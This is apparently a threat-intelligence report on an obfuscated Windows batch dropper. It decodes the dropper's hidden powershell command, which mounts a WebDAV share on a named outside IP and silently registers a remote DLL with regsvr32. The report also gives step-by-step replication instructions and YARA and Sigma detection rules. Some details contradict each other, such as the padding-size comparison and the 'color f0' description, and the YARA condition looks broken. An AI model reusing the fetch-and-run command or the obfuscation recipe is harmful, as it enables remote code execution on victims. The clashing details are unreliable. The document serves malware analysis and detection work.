unclassified-js-webdav-dropper: 6e5e5715 — 41st confirmed sibling, expanded word-salad padding, natural-language SET obfuscation

Executive Summary

Windows batch dropper that mounts a remote WebDAV share via net use and silently registers a DLL via regsvr32 /s over a UNC path. Natural-language SET variable expansion obfuscation with ~104 lines of leading English word-salad padding. color f0 && start wordpad decoy. WebDAV C2 45.9.74.36:8888 with payload 142831858810475.dll. Static-only (batch script).

What It Is

• Filename: 35222523278945155.bat ^[metadata.json]
• Size: 9,909 bytes ^[triage.json]
• Type: ASCII text, CRLF line terminators, very long lines (2249 chars) ^[file.txt]
• Family: unclassified-js-webdav-dropper — 41st confirmed sibling.
• Obfuscation dialect: Natural-language SET variable expansion (36 variables), same engine as siblings ffd5d894, e9e82d14, f170f5a9, e11665cf, dac5e0ee, b2a097ba, b32ea531, 976dc607, 9bea44f4, a1b6e36f, and 682bea06. ^[strings.txt:105]
• C2: 45.9.74.36:8888 — same IP as the large pure-batch natural-language cluster. ^[decoded from strings.txt:107]
• Payload: 142831858810475.dll ^[decoded from strings.txt:107]

How It Works

1. Leading padding: ~104 lines of random English adjectives, nouns, and compound phrases precede the :minister jump label. This pushes the actual malicious commands far down the file, defeating naive string-match triage and scroll-based human review. ^[strings.txt:1–104]
2. Variable expansion obfuscation: 36 SET commands assign single characters to long natural-language variable names (e.g., set floorinquisitivefireman=m). The assembled command is built by concatenating %VAR% references. ^[strings.txt:105]
3. Execution chain:
   • color f0 && start wordpad — visual decoy (white text on black background, launches WordPad). ^[decoded from strings.txt:110]
   • start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\142831858810475.dll — mounts WebDAV share and silently registers remote DLL. ^[decoded from strings.txt:111]
   • exit — terminates batch. ^[decoded from strings.txt:112]
4. No persistence, no sandbox gate, no anti-analysis. One-shot execution with no registry modifications, no scheduled tasks, and no environment checks. ^[triage.json]

Decompiled Behavior

N/A — plaintext batch script; no binary decompilation required. Behavior derived from static string decoding.

C2 Infrastructure

Interesting Tidbits

• Expanded padding volume: The ~104 lines of word-salad padding is the largest observed in the pure-batch natural-language cluster to date, exceeding a1b6e36f (~185 lines / ~16 KB). However, a1b6e36f remains the largest overall at ~16 KB; this sample is 9.9 KB with higher noise density per byte. ^[strings.txt:1–104]
• Natural-language SET names: Variable names are three-word English compounds with no grammatical relationship to the assigned character (e.g., floorinquisitivefireman=m, crateberserklighten=i). This is consistent with the cluster's natural-language dialect. ^[strings.txt:105]
• :minister label: The jump label uses a random English word, consistent with the family's label-naming convention (other siblings use :signal, :quarrelsome, :drunk, :wind, etc.). ^[strings.txt:104]
• No PowerShell -EncodedCommand layer: Unlike dictionary-lookup JScript siblings, this pure-batch variant passes the command directly to powershell.exe without Base64 encoding. ^[decoded from strings.txt:111]
• Payload filename: 142831858810475.dll follows the family's pattern of long numeric DLL names (15–17 digits). ^[decoded from strings.txt:111]

How To Mess With It (Homelab Replication)

1. Create a Windows batch file with SET commands mapping natural-language phrases to single characters.
2. Prepend 50–150 lines of random English words as padding.
3. Add a goto <random_word> at the top and a :<random_word> label after the padding.
4. Assemble the payload command via %VAR% expansion: net use \\ip@port\davwwwroot\ ; regsvr32 /s \\ip@port\davwwwroot\<numeric>.dll
5. Wrap in start powershell.exe -windowstyle hidden ... for proxy execution.
6. Verification: Open in Notepad — the actual command should not be visible without scrolling; strings/grep should show only noise words unless the decoder is applied.

Deployable Signatures

YARA rule

rule WebdavBatchDropper_NaturalLangSET
{
    meta:
        description = "WebDAV batch dropper with natural-language SET obfuscation"
        author = "PacketPursuit"
        date = "2026-07-04"
        family = "unclassified-js-webdav-dropper"
        hash = "6e5e5715059b4f8332540df413de5973d53294d7a5c158e7196fad6607a51129"

    strings:
        $set1 = "set floorinquisitivefireman=m" ascii wide
        $set2 = "set crateberserklighten=i" ascii wide
        $set3 = "set longingscarfmeat=8" ascii wide
        $set4 = "set poisonvoraciousbreakable=e" ascii wide
        $webdav = "davwwwroot" ascii wide
        $regsvr = "regsvr32 /s" ascii wide
        $netuse = "net use \\45.9.74.36@8888" ascii wide

    condition:
        filesize < 20KB and
        ($set1 and $set2 and $set3 and $set4) or
        ($webdav and $regsvr and #set1 >= 30)
}

Sigma rule

title: WebDAV Batch Dropper Execution
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        CommandLine|contains:
            - 'davwwwroot'
            - 'regsvr32 /s'
            - 'net use'
        CommandLine|contains|all:
            - 'powershell.exe'
            - '-windowstyle hidden'
    condition: selection
falsepositives:
    - Unknown
level: high

IOC list

Behavioral fingerprint

This sample is a Windows batch script preceded by extensive English word-salad padding. It defines 36 SET variables with natural-language names mapping to single characters, then uses %VAR% expansion to assemble a powershell.exe -windowstyle hidden command that executes net use to mount a WebDAV share at 45.9.74.36:8888 followed by regsvr32 /s to silently register a remote DLL (142831858810475.dll). A color f0 && start wordpad decoy runs first. No persistence, sandbox gating, or anti-analysis.

Detection Signatures

References

• Artifact ID: 2f229907-1d62-48ac-939a-a113cec16b8f ^[triage.json]
• Family entity: unclassified-js-webdav-dropper
• Technique: batch-powershell-variable-expansion-obfuscation
• Technique: webdav-regsvr32-dll-sideloading

Provenance

Static analysis of plaintext batch script. No binary disassembly, decompilation, or dynamic execution required. All behavior derived from direct string decoding of SET variable assignments and %VAR% expansion. CAPE skipped — unsupported file type. ^[file.txt] ^[strings.txt] ^[triage.json]